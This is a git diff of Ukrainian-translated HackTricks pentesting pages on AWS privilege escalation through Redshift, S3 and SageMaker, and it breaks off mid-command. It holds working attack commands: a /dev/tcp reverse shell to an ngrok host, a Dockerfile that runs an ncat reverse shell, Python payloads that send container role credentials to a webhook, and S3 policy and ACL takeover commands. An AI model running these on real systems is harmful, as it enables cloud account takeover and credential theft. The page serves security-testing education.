's3://mybucket/tickit/unload/venue_' -iam_role default; -``` -### Dynamo - -Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), можливо **отримати дані з dynamodb**: -```sql -copy favoritemovies -from 'dynamodb://ProductCatalog' -iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; -``` -> [!WARNING] -> Таблиця Amazon DynamoDB, яка надає дані, повинна бути створена в тому ж регіоні AWS, що й ваш кластер, якщо ви не використовуєте опцію [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) для вказівки регіону AWS, в якому розташована таблиця Amazon DynamoDB. - -### EMR - -Перевірте [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) - -## References - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md new file mode 100644 index 000000000..a99d330e1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md @@ -0,0 +1,95 @@ +# AWS - Redshift Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Redshift + +Для отримання додаткової інформації про RDS див.: + +{{#ref}} +../../aws-services/aws-redshift-enum.md +{{#endref}} + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` + +З цими дозволами ви можете отримати **інформацію про всі кластери** (включно з ім'ям та cluster username) та **отримати credentials** для доступу до нього: +```bash +# Get creds +aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 +``` +**Потенційний вплив:** Знайти конфіденційну інформацію у базах даних. + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` + +З цими дозволами ви можете отримати **інформацію про всі кластери** та **отримати облікові дані** для доступу до них.\ +Зверніть увагу, що користувач postgres матиме **дозволи, які має IAM identity**, яка була використана для отримання облікових даних. +```bash +# Get creds +aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 +``` +**Можливий вплив:** Знайти конфіденційну інформацію в базах даних. + +### `redshift:DescribeClusters`, `redshift:ModifyCluster?` + +Можна **змінити master password** внутрішнього користувача postgres (redshit) через aws cli (я думаю, це ті дозволи, які потрібні, але я ще не тестував їх): +``` +aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; +``` +**Potential Impact:** Знайти чутливу інформацію всередині баз даних. + +## Доступ до зовнішніх сервісів + +> [!WARNING] +> Щоб отримати доступ до всіх наступних ресурсів, вам потрібно буде **вказати роль, яку використовувати**. Кластер Redshift **може мати призначений список AWS ролей**, які ви можете використовувати **якщо знаєте ARN**, або ви можете просто встановити "**default**", щоб використовувати призначену роль за замовчуванням. +> +> До того ж, як [**пояснено тут**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift також дозволяє вказувати кілька ролей (за умови, що перша може взяти на себе другу) для отримання додаткового доступу, просто **розділивши** їх **комою**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` + +### Lambdas + +Як пояснюється в [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), можливо **викликати lambda function з redshift** з чимось на кшталт: +```sql +CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) +RETURNS INT +STABLE +LAMBDA 'lambda_function' +IAM_ROLE default; +``` +### S3 + +Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), можливо **читати та записувати в S3 buckets**: +```sql +# Read +copy table from 's3:///load/key_prefix' +credentials 'aws_iam_role=arn:aws:iam:::role/' +region '' +options; + +# Write +unload ('select * from venue') +to 's3://mybucket/tickit/unload/venue_' +iam_role default; +``` +### Dynamo + +Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), можна **отримати дані з dynamodb**: +```sql +copy favoritemovies +from 'dynamodb://ProductCatalog' +iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; +``` +> [!WARNING] +> Таблицю Amazon DynamoDB, яка постачає дані, потрібно створити в тому ж AWS Region, що й ваш кластер, якщо ви не використовуєте опцію [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) для вказання AWS Region, в якій розташована таблиця Amazon DynamoDB. + +### EMR + +Дивіться [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) + +## Посилання + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md deleted file mode 100644 index b3c953799..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - S3 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` - -Зловмисник з такими дозволами на цікавих бакетах може бути в змозі захопити ресурси та підвищити привілеї. - -Наприклад, зловмисник з цими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ можна надати за допомогою наступної політики: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": [ -"s3:PutBucketNotification", -"s3:GetBucketNotification", -"s3:PutObject", -"s3:GetObject" -], -"Resource": [ -"arn:aws:s3:::cf-templates-*/*", -"arn:aws:s3:::cf-templates-*" -] -}, -{ -"Effect": "Allow", -"Action": "s3:ListAllMyBuckets", -"Resource": "*" -} -] -} -``` -І викрадення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **викраде** **вміст** цього **кошика**. - -![](<../../../images/image (174).png>) - -Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) може бути використаний для автоматизації цієї атаки.\ -Для отримання додаткової інформації перегляньте оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) - -### `s3:PutObject`, `s3:GetObject` - -Це дозволи на **отримання та завантаження об'єктів до S3**. Кілька сервісів всередині AWS (і за його межами) використовують S3 для зберігання **конфігураційних файлів**.\ -Зловмисник з **доступом на читання** до них може знайти **чутливу інформацію** в них.\ -Зловмисник з **доступом на запис** до них може **модифікувати дані, щоб зловживати якимось сервісом і намагатися підвищити привілеї**.\ -Ось кілька прикладів: - -- Якщо EC2 екземпляр зберігає **дані користувача в S3 кошику**, зловмисник може змінити їх, щоб **виконати довільний код всередині EC2 екземпляра**. - -### `s3:PutObject`, `s3:GetObject` (додатково) над файлом стану terraform - -Дуже поширено, що файли стану [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - `.tfstate`, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай, у реальних облікових записах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`. - -Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями `terraform` - найчастіше `AdministratorAccess`, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи `terraform` видаляти легітимні ресурси. - -Слідуйте опису в розділі *Зловживання файлами стану Terraform* на сторінці *Безпека Terraform* для безпосередньо використовуваного коду експлойту: - -{{#ref}} -../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files -{{#endref}} - -### `s3:PutBucketPolicy` - -Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів на кошик(и), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики. -```bash -# Update Bucket policy -aws s3api put-bucket-policy --policy file:///root/policy.json --bucket - -## JSON giving permissions to a user and mantaining some previous root access -{ -"Id": "Policy1568185116930", -"Version":"2012-10-17", -"Statement":[ -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:root" -}, -"Action":"s3:ListBucket", -"Resource":"arn:aws:s3:::somebucketname" -}, -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:user/username" -}, -"Action":"s3:*", -"Resource":"arn:aws:s3:::somebucketname/*" -} -] -} - -## JSON Public policy example -### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS -{ -"Id": "Policy1568185116930", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Stmt1568184932403", -"Action": [ -"s3:ListBucket" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome", -"Principal": "*" -}, -{ -"Sid": "Stmt1568185007451", -"Action": [ -"s3:GetObject" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome/*", -"Principal": "*" -} -] -} -``` -### `s3:GetBucketAcl`, `s3:PutBucketAcl` - -Зловмисник може зловживати цими дозволами, щоб **надати собі більше доступу** до конкретних бакетів.\ -Зверніть увагу, що зловмисник не обов'язково має бути з того ж облікового запису. Більше того, доступ на запис -```bash -# Update bucket ACL -aws s3api get-bucket-acl --bucket -aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectAcl` - -Зловмисник може зловживати цими дозволами, щоб надати собі більше доступу до конкретних об'єктів всередині бакетів. -```bash -# Update bucket object ACL -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` - -Зловмисник з цими привілеями, як очікується, зможе встановити Acl для конкретної версії об'єкта. -```bash -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md new file mode 100644 index 000000000..e85a797bb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -0,0 +1,186 @@ +# AWS - S3 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` + +Зловмисник, який має такі дозволи щодо цікавих бакетів, може захопити ресурси та ескалувати привілеї. + +Наприклад, зловмисник з такими **дозволами над cloudformation bucket** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе перехопити розгортання. Доступ можна надати за допомогою такої політики: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] +} +``` +І захоплення можливе тому, що існує **невелике часове вікно від моменту завантаження шаблону** в bucket до моменту його **розгортання**. Зловмисник може просто створити **lambda function** в своєму акаунті, яка **тригериться при надсиланні bucket notification**, і **захоплює** **вміст** цього **bucket**. + +![](<../../../images/image (174).png>) + +Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) можна використати для автоматизації цієї атаки.\ +Для більш детальної інформації див. оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) + +### `s3:PutObject`, `s3:GetObject` + +Це дозволи для **отримання та завантаження об'єктів у S3**. Декілька сервісів всередині AWS (і поза ним) використовують сховище S3 для зберігання **config files**.\ +Нападник з **доступом на читання** до них може знайти **чутливу інформацію**.\ +Нападник з **доступом на запис** до них може **змінити дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\ +Ось кілька прикладів: + +- Якщо EC2 instance зберігає **user data in a S3 bucket**, нападник може змінити її, щоб **виконати довільний код всередині EC2 instance**. + +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file + +Дуже часто [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state файли зберігаються у blob-сховищах хмарних провайдерів, наприклад AWS S3. Суфікс файлу стану — `.tfstate`, а назви bucket-ів часто видають, що вони містять terraform state файли. Зазвичай у кожному AWS акаунті є такий bucket для зберігання state-файлів, які відображають стан акаунту.\ +Також зазвичай у реальних акаунтах майже всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`. + +Отже, якщо ви маєте перераховані дозволи над цими файлами, існує вектор атаки, який дозволяє отримати RCE в pipeline з привілеями `terraform` — у більшості випадків `AdministratorAccess`, що робить вас адміністратором cloud-акаунту. Також цей вектор можна використати для атаки відмови в обслуговуванні, змусивши `terraform` видалити легітимні ресурси. + +Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: + +{{#ref}} +../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files +{{#endref}} + +### `s3:PutBucketPolicy` + +Нападник, який має бути **з того самого акаунту** (інакше викличеться помилка `The specified method is not allowed`), з цим дозволом зможе надати собі більше прав над bucket(ами), що дозволить йому читати, записувати, змінювати, видаляти та робити buckets публічними. +```bash +# Update Bucket policy +aws s3api put-bucket-policy --policy file:///root/policy.json --bucket + +## JSON giving permissions to a user and mantaining some previous root access +{ +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] +} + +## JSON Public policy example +### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS +{ +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] +} +``` +### `s3:GetBucketAcl`, `s3:PutBucketAcl` + +attacker може зловживати цими дозволами, щоб **надати собі більше доступу** над конкретними buckets.\ +Зверніть увагу, що attacker не обов'язково має бути з того самого account. Крім того, write access +```bash +# Update bucket ACL +aws s3api get-bucket-acl --bucket +aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectAcl` + +Атакуючий може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів всередині buckets. +```bash +# Update bucket object ACL +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` + +Очікується, що атакувальник з цими привілеями зможе встановити Acl для конкретної версії об'єкта +```bash +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md deleted file mode 100644 index 5fb93dd18..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ /dev/null @@ -1,106 +0,0 @@ -# AWS - Sagemaker Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS - Sagemaker Privesc - - - -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Почніть створювати ноутбук з IAM роллю, яка до нього прикріплена: -```bash -aws sagemaker create-notebook-instance --notebook-instance-name example \ ---instance-type ml.t2.medium \ ---role-arn arn:aws:iam:::role/service-role/ -``` -Відповідь повинна містити поле `NotebookInstanceArn`, яке міститиме ARN новоствореного екземпляра блокнота. Потім ми можемо використовувати API `create-presigned-notebook-instance-url`, щоб згенерувати URL, який ми можемо використовувати для доступу до екземпляра блокнота, коли він буде готовий: -```bash -aws sagemaker create-presigned-notebook-instance-url \ ---notebook-instance-name -``` -Перейдіть за URL у браузері та натисніть на \`Open JupyterLab\`\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”. - -Тепер можливо отримати доступ до облікових даних метаданих IAM Role. - -**Potential Impact:** Privesc до ролі сервісу sagemaker, що вказана. - -### `sagemaker:CreatePresignedNotebookInstanceUrl` - -Якщо на ньому вже **запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**. -```bash -aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name -``` -**Потенційний вплив:** Привілейоване підвищення до ролі служби sagemaker. - -### `sagemaker:CreateProcessingJob,iam:PassRole` - -Зловмисник з цими дозволами може змусити **sagemaker виконати обробку** з прикріпленою роллю sagemaker. Зловмисник може вказати визначення контейнера, який буде запущено в **управляємому AWS ECS обліковому записі**, і **викрасти облікові дані прикріпленої ролі IAM**. -```bash -# I uploaded a python docker image to the ECR -aws sagemaker create-processing-job \ ---processing-job-name privescjob \ ---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ ---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ ---role-arn - -# In my tests it took 10min to receive the shell -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds -``` -**Потенційний вплив:** Privesc до ролі служби sagemaker, що вказана. - -### `sagemaker:CreateTrainingJob`, `iam:PassRole` - -Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **прикріпленою роллю**. Тому зловмисник зможе вкрасти облікові дані ролі. - -> [!WARNING] -> Цей сценарій складніше експлуатувати, ніж попередній, оскільки вам потрібно створити образ Docker, який надішле rev shell або облікові дані безпосередньо зловмиснику (ви не можете вказати команду запуску в конфігурації навчальної задачі). -> -> ```bash -> # Створити образ docker -> mkdir /tmp/rev -> ## Зверніть увагу, що навчальна задача буде викликати виконуваний файл під назвою "train" -> ## Ось чому я поміщаю rev shell у /bin/train -> ## Встановіть значення та -> cat > /tmp/rev/Dockerfile < FROM ubuntu -> RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train -> RUN chmod +x /bin/train -> CMD ncat -e /bin/sh -> EOF -> -> cd /tmp/rev -> sudo docker build . -t reverseshell -> -> # Завантажити його в ECR -> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ -> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest -> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest -> ``` -```bash -# Create trainning job with the docker image created -aws sagemaker create-training-job \ ---training-job-name privescjob \ ---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ ---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ ---role-arn \ ---output-data-config '{"S3OutputPath": "s3://"}' \ ---stopping-condition '{"MaxRuntimeInSeconds": 600}' - -#To get the creds -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer -``` -**Потенційний вплив:** Privesc до ролі служби sagemaker. - -### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` - -Атакуючий з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** з нею з **долученою роллю**.\ -_Я не експлуатував через брак часу, але це виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації._ - -## Посилання - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md new file mode 100644 index 000000000..0563bc871 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -0,0 +1,259 @@ +# AWS - Sagemaker Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS - Sagemaker Privesc + +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` + +Почніть створювати notebook з приєднаною IAM Role для доступу: +```bash +aws sagemaker create-notebook-instance --notebook-instance-name example \ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ +``` +У відповіді має бути поле `NotebookInstanceArn`, яке міститиме ARN щойно створеного notebook instance. Потім ми можемо скористатися API `create-presigned-notebook-instance-url`, щоб згенерувати URL, за допомогою якого можна буде отримати доступ до notebook instance, коли він буде готовий: +```bash +aws sagemaker create-presigned-notebook-instance-url \ +--notebook-instance-name +``` +Перейдіть за URL у браузері та натисніть на `Open JupyterLab` у верхньому правому куті, потім прокрутіть до вкладки “Launcher” і в секції “Other” натисніть кнопку “Terminal”. + +Тепер можливо отримати доступ до метаданих облікових даних IAM Role. + +**Можливий вплив:** Privesc до вказаної sagemaker service role. + +### `sagemaker:CreatePresignedNotebookInstanceUrl` + +Якщо на ньому вже запущені Jupyter **notebooks**, і ви можете перерахувати їх за допомогою `sagemaker:ListNotebookInstances` (або виявити їх іншим способом), ви можете **згенерувати для них URL, отримати доступ і вкрасти облікові дані, як вказано в попередній техніці**. +```bash +aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name +``` +**Potential Impact:** Privesc до прикріпленої сервісної ролі sagemaker. + +### `sagemaker:CreateProcessingJob`, `iam:PassRole` + +Зловмисник із такими дозволами може змусити **SageMaker виконати processing job** з прикріпленою до нього роллю SageMaker. Повторно використовуючи один із AWS Deep Learning Containers, який уже містить Python (і виконавши job у тому ж регіоні, що й URI), ви можете запускати код inline без створення власних образів: +```bash +REGION= +ROLE_ARN= +IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3 +ENV='{"W":"https://example.com/webhook"}' + +aws sagemaker create-processing-job \ +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \ +--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--environment "$ENV" \ +--role-arn $ROLE_ARN + +# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. +``` +**Потенційний вплив:** Privesc до вказаної sagemaker service role. + +### `sagemaker:CreateTrainingJob`, `iam:PassRole` + +Зловмисник з такими правами може запустити завдання навчання, яке виконує довільний код з вказаною роллю. Використовуючи офіційний контейнер SageMaker та перезаписавши entrypoint за допомогою payload inline, не потрібно створювати власні образи: +```bash +REGION= +ROLE_ARN= +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +ENV='{"W":"https://example.com/webhook"}' +OUTPUT_S3=s3:///training-output/ +# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3. + +aws sagemaker create-training-job \ +--training-job-name privesc-train \ +--role-arn $ROLE_ARN \ +--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \ +--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \ +--stopping-condition '{"MaxRuntimeInSeconds":600}' \ +--environment "$ENV" + +# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. +``` +**Potential Impact:** Privesc до вказаної ролі сервісу SageMaker. + +### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` + +Зловмисник із такими дозволами може запустити HyperParameter Tuning Job, який виконує керований зловмисником код під наданою роллю. Script mode вимагає розміщення payload в S3, але всі кроки можна автоматизувати з CLI: +```bash +REGION= +ROLE_ARN= +BUCKET=sm-hpo-privesc-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION + +# Allow public reads so any SageMaker role can pull the code +aws s3api put-public-access-block \ +--bucket $BUCKET \ +--public-access-block-configuration '{ +"BlockPublicAcls": false, +"IgnorePublicAcls": false, +"BlockPublicPolicy": false, +"RestrictPublicBuckets": false +}' + +aws s3api put-bucket-policy --bucket $BUCKET --policy "{ +\"Version\": \"2012-10-17\", 